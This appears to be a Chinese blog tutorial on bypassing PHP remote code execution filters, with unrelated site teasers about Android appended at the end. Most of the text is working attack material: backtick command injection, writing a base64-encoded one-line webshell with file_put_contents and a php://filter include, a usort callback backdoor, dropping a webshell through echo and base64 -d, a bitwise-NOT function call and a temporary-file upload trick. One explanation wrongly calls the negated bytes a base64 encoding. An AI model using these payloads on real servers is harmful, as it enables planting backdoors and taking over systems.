RCE绕过技巧
创始人
2024-09-25 22:51:09
0

目录

EVAL长度限制突破技巧

1.使用反引号

2.file_put_contents写入文件

3.php5.6+变长参数+usort回调后门

命令长度限制突破技巧

1.拼接文件名

无字母数字的webshell命令执行

1.取反码

2.上传临时文件


EVAL长度限制突破技巧

分析代码:首先传递一个param参数,通过 if 判断传递的参数长度不能超过17位,并且不能包含eval和assert,然后eval执行。

由于Linux下的反引号可以执行命令,所以使用echo `$_GET[1]`;

把代码执行转换成命令执行

1.使用反引号

param=echo `$_GET[1]`;&1=id

效果:

有人就要问,不是说是限制到了17位一下吗。

因为后面的1=id不是前面param的值,所以写多长都没关系,$_GET[1]是获取通过传递的名为 1 的参数值。

2.file_put_contents写入文件

将一句话木马进行base64编码后追加写入文件

web.php?1=file_put_contents¶m=$_GET[1](N,P,8);  

web.php?1=file_put_contents¶m=$_GET[1](N,D,8);

...

web.php?1=file_put_contents¶m=$_GET[1](N,w,8);

/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中    */

web.php?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N

用$_GET[1]中1接收file_put_contents,然后再file_put_contents中传三个参数

N:写入文件名

P:一句话木马的base64的编码

8:代表追加

未执行命令前的

执行后

因为像<等特殊符号,不能直接写入<,所以必须base64编码

3.php5.6+变长参数+usort回调后门

usort(...$_GET);

js中的可变长参数用...表示

?1[]=test&1[]=phpinfo();&2=assert

使用burpsuite抓包

修改GET为POST,加上usort(...$_GET);

使用的php版本最好为5.6,否则

右键->Send to Repeater

命令长度限制突破技巧

这段代码和上边一样,只是把参数长度变成不能超过8位,那么就不能使用`$_GET[1]`;了

只能执行简单的命令了

1.拼接文件名

因为Linux下可以使用>a来创建文件

用ls -t来以创建时间来列出当前目录下所有文件

将这条经过base64编码的一句话木马echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php就可以用上述方法写入webshell

无字母数字的webshell命令执行

这段代码将webshell长度不超过35位,除此之外还不允许包含字母数字,还不能包含$和_

这样就不能用上面的方法了。那怎么办

1.取反码

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式.

所以很简单了,因为不能出现字母所以就先构造一个可以生成phpinfo这个字符串的PHP表达式取反即可。如:(~%8F%97%8F%96%91%99%90)();

%8F%97%8F%96%91%99%90   --这个是phpinfo的base64编码

~   --取反

code=(~%8F%97%8F%96%91%99%90)();

这样就可以执行

2.上传临时文件

因为在php5版本中并不支持这种表达方式,所以我们就可以用php上传文件机制

先将本地的文件上传到服务器的临时目录 /tmp

然后在没有被删除的情况下执行起来

难点:1.匹配不到这个临时文件,因为这个文件名是随机生成的,全是英文和数字,但是代码又限制了这个。

2.没有执行权限

解决方法:1.经过多次尝试发现,上传的临时文件最后一个字母会出现大写字母。因为Linux是支持ascii,所以查看ascii发现大写字母的范围在 @-[ 之间,glob通配符 ? 匹配任意一个字符,* 匹配任意多个字符。

成功匹配到文件

2.在Linux下可以用 . [file]来执行文件

这样两个问题就都解决了

接下来就是用burpsuite抓包

先抓demo.html和web.php包

两个包repeater

如下所示,将demo.html包中的内容复制到web.php中

将GET改为POST是要接受下面的请求体

传递get参数,通过查找eval的官方文档,首先要闭合,然后再写php代码

?code=?>

成功

上一篇:HCIP笔记7-BGP(1)

下一篇:TCP/IP_TCP协议

相关内容

热门资讯

安卓系统app更新软件,And... 亲爱的手机控们,你们有没有发现,最近你的手机里那些熟悉的APP们,好像都悄悄地换上了新装呢?没错,安...
手机怎么安双卡安卓系统,轻松实... 你有没有想过,拥有一部可以同时使用两张SIM卡的手机是多么的方便呢?想象一张卡用来工作,另一张卡用来...
安卓系统卸载软件api,功能与... 手机里的软件越来越多,是不是感觉内存都要不够用了?别急,今天就来给你揭秘安卓系统卸载软件的神秘面纱,...
miui操作系统和安卓系统,深... 亲爱的手机控们,今天咱们来聊聊一个让无数米粉心动的系统——MIUI操作系统,还有那个它背后的老大哥—...
原生安卓系统使用教学,原生安卓... 哇,你手里拿的那部手机,是不是也觉得它有点儿特别呢?它可能没有那些花里胡哨的界面,但它却有着自己独特...
安卓系统玩咸鱼之王,三国名将助... 你有没有发现,最近安卓系统上的游戏圈里,有一款叫做《咸鱼之王》的游戏火得一塌糊涂?没错,就是那个让你...
鸿蒙1.0系统是安卓系统吗,揭... 你有没有听说最近华为的鸿蒙1.0系统?是不是有点好奇,这鸿蒙1.0系统是不是安卓系统的“亲戚”呢?别...
优盘安卓系统用桃,U盘安装An... 你有没有想过,你的电脑也能变身成安卓手机?没错,就是那种可以安装各种APP、玩游戏的安卓手机!这可不...
怎样使用安卓8系统,安卓8系统... 你有没有想过,你的安卓手机其实是个小智能助手,只要你会使用,它能帮你做很多事情呢!今天,就让我来带你...
鼎威安卓系统版本,性能升级与用... 你有没有发现,现在车机系统越来越智能了?这不,鼎威的安卓系统版本就让我眼前一亮。想象坐在车里,手指轻...
安卓系统安装抢红包,轻松成为抢... 亲爱的手机控们,是不是每次微信群里抢红包都感觉手慢无?别急,今天我要给你揭秘如何在安卓系统上轻松安装...
写ios系统和安卓系统的人,揭... 你有没有想过,那些默默无闻的程序员们,他们是如何创造出我们每天离不开的iOS系统和安卓系统呢?想象他...
安卓系统设计尺寸规范,适配与优... 亲爱的设计师们,你是否在为安卓系统的设计尺寸规范而头疼?别担心,今天我要带你一起探索这个神秘的领域,...
旧主机改安卓系统,安卓系统改造... 亲爱的读者们,你是否有过这样的经历:家里的旧主机闲置在角落,看着它那略显过时的外观,心里不禁感叹:“...
安卓系统里有趣的,尽在掌握 探索安卓乐园:那些让你笑出声的趣味游戏 开篇:手机里的欢乐小天地想象你手握一部安卓手机,屏幕上跳动...
法兰规格查询系统安卓,安卓版功... 你有没有想过,在繁忙的工程现场,如何快速找到合适的法兰规格呢?别急,今天就来给你揭秘一个神器——法兰...
目前安卓系统最高配置,极致性能... 你有没有发现,现在的手机越来越厉害了,就像是科幻电影里的高科技产品一样。今天,咱们就来聊聊这个话题:...
安卓修改系统返回键,个性化设置... 你有没有发现,手机里的那个小小的返回键,有时候就像是个顽皮的小家伙,让你摸不着头脑?别急,今天就来教...
安卓订餐系统教程视频,从设计到... 你是不是也和我一样,每天忙碌的生活中,最期待的就是那一顿美味的午餐或晚餐呢?现在,有了安卓订餐系统,...
安卓系统限制外部软件,探索外部... 亲爱的手机控们,你是否曾遇到过这样的烦恼:明明打开了“未知来源”,却还是无法安装那些心仪的外部软件?...